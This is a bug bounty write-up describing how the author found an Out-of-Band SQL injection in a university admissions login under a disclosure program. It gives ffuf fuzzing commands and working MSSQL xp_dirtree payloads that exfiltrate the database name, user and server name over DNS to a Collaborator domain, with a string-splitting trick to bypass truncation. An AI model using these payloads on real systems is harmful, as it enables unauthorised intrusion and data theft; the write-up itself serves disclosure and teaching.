It's been quite some time since I published my last article — probably a few months. Between work and university commitments, finding the time to sit down and write has been more challenging than I expected. Even though I had plenty of ideas and experiences worth documenting, I simply couldn't dedicate the focus they deserved.

Now I'm finally back, and this time I want to share an interesting case study involving an Out-of-Band SQL Injection vulnerability.

Out-of-Band SQL injection (OOB SQLi) is a technique where an attacker does not retrieve results directly through the normal application response. Instead, the database server is manipulated into sending the extracted data to an external system controlled by the attacker. In other words, the communication happens over a secondary channel such as DNS or HTTP rather than the original request–response flow.

This method relies on database features that can initiate outbound network connections — capabilities that are supported by most modern database engines.

verything began after I enrolled in a university's Vulnerability Disclosure Program (VDP) in my region. For the sake of simplicity, let's refer to the target as site.com.

When I first attempted to access site.com, I was immediately greeted with a 403 Forbidden response, indicating that direct access to the application was restricted.

Before diving deeper into further enumeration, I decided to first identify the underlying technologies powering the target and determine whether any Web Application Firewall (WAF) protections were in place. For this initial reconnaissance step, I relied on the Wappalyzer browser extension for technology fingerprinting and wafw00f to detect potential WAF mechanisms.

Based on the results shown in the previous image, it was clear that the target was running on Windows Server and that no Web Application Firewall was in place. With defensive controls out of the way, the next logical step was to expand the attack surface through directory enumeration.

For this purpose, I proceeded with directory fuzzing using ffuf.

ffuf -u https://site.com/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-fs 0 -c

Command breakdown:

• ffuf: launches the fuzzing tool
• -u: specifies the target URL, with FUZZ as the injection point
• -w: defines the wordlist (in this case, from the SecLists collection)
• -fs 0: filters out responses with a size of 0 to reduce noise
• -c: enables colored output, purely for better readability (and a slightly more hacker-esque feel)

The directory fuzzing results revealed an interesting finding: an /admissions endpoint returning a 200 OK response. Since it appeared to be accessible, I decided to dig deeper and perform another round of fuzzing specifically against that directory.

ffuf -u https://site.com/admissions/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-fs 0 -c

This second pass uncovered several additional paths, including /auth and a few other potentially sensitive endpoints.

A quick side note: ffuf is an extremely versatile tool. It's not limited to directory brute-forcing. For instance, it can also be adapted for subdomain enumeration with a command like:

ffuf -u http://FUZZ.target.com -H "Host: FUZZ.target.com" -w wordlists-subdomain.txt -c -fs 0

Beyond that, it can be used for API fuzzing, parameter discovery, and various other attack surface mapping tasks. The official documentation — or even experimenting with different configurations — is often enough to unlock its full potential.

Returning to the target, I manually browsed to:

https://site.com/admissions/auth

and was greeted with a login page, suggesting this endpoint might be tied to an authentication mechanism and therefore worth further investigation.

I went ahead and created a test account to interact with the application more closely. After logging in, I began probing the authentication mechanism using common SQL injection bypass techniques and various input manipulation attempts to see whether the login flow could be abused.

Despite multiple payloads and different approaches, none of them yielded any meaningful results. The authentication layer appeared to be properly hardened, at least against straightforward injection attempts.

Not wanting to rely solely on the login page, I broadened my scope and continued with additional fuzzing and enumeration across other directories and potential services. Unfortunately, most requests consistently returned 403 Forbidden, suggesting strict access controls or filtering mechanisms were in place.

After nearly two hours of testing without any significant findings, progress had stalled. So I decided to pause for a bit, step away from the screen, and grab a cup of coffee to reset my mindset.

After taking a short break and finishing my coffee, I returned with a fresh perspective. That's when a simple question came to mind: since the application was running on Windows Server, why not focus specifically on MSSQL-oriented payloads?

With that in mind, I shifted my approach. I searched for publicly available references related to SQL injection techniques targeting Microsoft SQL Server, then expanded and customized those payloads using AI to build a more comprehensive test list. Once prepared, I loaded the payloads into Burp Suite Intruder and began fuzzing the relevant parameters.

One of the payload repositories I used as a baseline reference was:

As shown in the screenshot above, I configured the injection point to append the payload directly after ozan@nullsecurityx.com[INJECT]. To better observe any potential time-based behavior, I also set a 1200 ms delay, giving the database enough time to process and execute the injected queries.

After launching the attack and monitoring the results for a while, one particular detail immediately stood out in the Intruder responses.

The majority of requests consistently returned a 547 status code, along with the message:

"You have to confirm your account first through …"

This suggested that the application was following its normal authentication logic.

However, among those responses, there was a single outlier.

One request returned a 577 status code with a completely different message:

"Login Invalid, Email not found, Try Again"

This deviation strongly indicated that the injected payload had altered the backend behavior, producing a response that differed from the baseline. Subtle inconsistencies like this often signal that the input is interacting directly with the database logic — a classic hint of a potential injection point.

That discrepancy immediately caught my attention.

Curious, I inspected the exact request responsible for the abnormal response and extracted the payload that had been sent:

ozan@nullsecurityx.com'; declare @q varchar(99); 
set @q='\\\\quodnermxkdhmpguab8u675wenke85wu.oastify.com\\nny'; 
exec master.dbo.xp_dirtree @q; --

At that moment, everything started to make sense.

The payload was leveraging MSSQL's xp_dirtree stored procedure, which can be abused to force the database server to perform an outbound network lookup — perfect for triggering a DNS-based Out-of-Band interaction.

Seeing that behavior felt like spotting a tiny ray of light after hours of hitting dead ends. For the first time, it seemed like the input was actually reaching the database layer.

But the excitement was short-lived.

Even after another few hours of tweaking and retesting, I still couldn't get a reliable callback. Something was clearly interfering with the payload execution.

After examining the request more carefully, I suspected there might be a character length restriction truncating the input. If the payload was being cut off, the procedure wouldn't execute correctly.

To bypass this limitation, I split the original string into smaller chunks and concatenated them using the + operator:

ozan@nullsecurityx.com'; declare @q varchar(99); 
set @q='\\\\quodnermxkdhmpguab8u675wenke86wu.oasti'+'fy.com\\nny'; 
exec master.dbo.xp_dirtree @q; --

This time, the result was different.

Shortly after sending the request, I received a DNS callback on Burp Collaborator.

That single interaction confirmed it — the injection was not only working, but it had successfully triggered an Out-of-Band SQL injection via DNS exfiltration.

At that point, I couldn't help but smile — it was now clear that this was an Out-of-Band SQL Injection. However, simply triggering a DNS callback was not enough to demonstrate a critical security impact.

To move beyond proof of interaction and toward real impact, I spent the next couple of hours carefully crafting and refining payloads. The challenge was that the injection only executed under very specific conditions, which required multiple iterations before finding combinations that consistently worked.

Eventually, I managed to build a small set of reliable payloads capable of exfiltrating sensitive database information via DNS callbacks. Below is the final list I used:

'; declare @q varchar(99); 
set @q='\\\\' + DB_NAME() + '.k7s7084gaeqbzjton5loj1iqrhx8l99y.oasti' + 'fy.com\\a'; 
exec master.dbo.xp_dirtree @q;--

(Retrieve database name)

'; declare @q varchar(99); 
set @q='\\\\' + SYSTEM_USER + '.7y6urvv311hyq6kbescbao9di4ovcz0o.oasti' + 'fy.com\\a'; 
exec master.dbo.xp_dirtree @q;--

(Retrieve current database user)

'; declare @q varchar(99); 
set @q='\\\\' + @@SERVERNAME + '.r80e1f5nblri0quvocmvk8jxsoyfmka9.oasti' + 'fy.com\\a'; 
exec master.dbo.xp_dirtree @q;--

(Retrieve database server name)

Each of these payloads successfully triggered outbound DNS requests, allowing the extracted values to be observed externally.

Below is how these callbacks appeared within Burp Collaborator, clearly confirming that sensitive information was being exfiltrated through an Out-of-Band channel.

If you're wondering how I eventually pieced everything together, the answer is simple: curiosity and persistence. Most of the progress came from reading documentation, testing different ideas, and repeatedly experimenting through trial and error.

At one point, I even considered pushing the vulnerability further to attempt Remote Code Execution (RCE). However, from a responsible disclosure perspective, demonstrating reliable data exfiltration through an Out-of-Band channel was already more than enough to prove the severity. There was no real need to escalate it further.

So instead, I prepared my findings and promptly submitted a report to the VDP program.

To be honest, there were moments where I almost gave up — after hours of hitting dead ends, I was close to shutting my laptop and calling it a day. But that's part of the process. Sometimes the chaos, the uncertainty, and the constant testing are exactly what make research enjoyable.

One practical takeaway from this experience: if you notice that a request consistently returns identical or slightly anomalous responses, don't ignore it. Small inconsistencies often hide deeper issues. Those subtle differences can be early indicators of injection points or backend logic flaws.

From there, you can continue validating your assumptions using techniques such as time-based SQL injection, blind SQLi, or other relevant exploitation methods to confirm whether a vulnerability truly exists.

Conclusion

This experience once again reminded me that successful vulnerability research is rarely about luck — it's about patience, observation, and refusing to ignore small anomalies.

Sometimes a single inconsistent response, a slightly different status code, or an unexpected behavior is all it takes to uncover a critical vulnerability.

Keep digging. Stay curious. Test everything.

Because in security research, the smallest clue can lead to the biggest impact.

Recon is where everything begins.

If you want to see the exact tools, workflow, and mindset I use during real bug bounty engagements, I've covered my full reconnaissance process step-by-step in this video:

🎥 Bug Bounty Recon Guide:

Connect With Me

If you enjoy write-ups like this or want to follow more offensive security content, tools, and real-world bug bounty case studies, feel free to connect with me:

• YouTube: https://youtube.com/@NullSecurityX
• Twitter (X): https://x.com/NullSecurityX
• Whatsapp: https://whatsapp.com/channel/0029Vb6Q9I69RZAcE3O1ST2G
• Instagram: https://instagram.com/NullSecurityX
• Facebook: https://www.facebook.com/nullsecurityx/

More technical write-ups and labs will be coming soon.

Stay safe and happy hacking. 🚀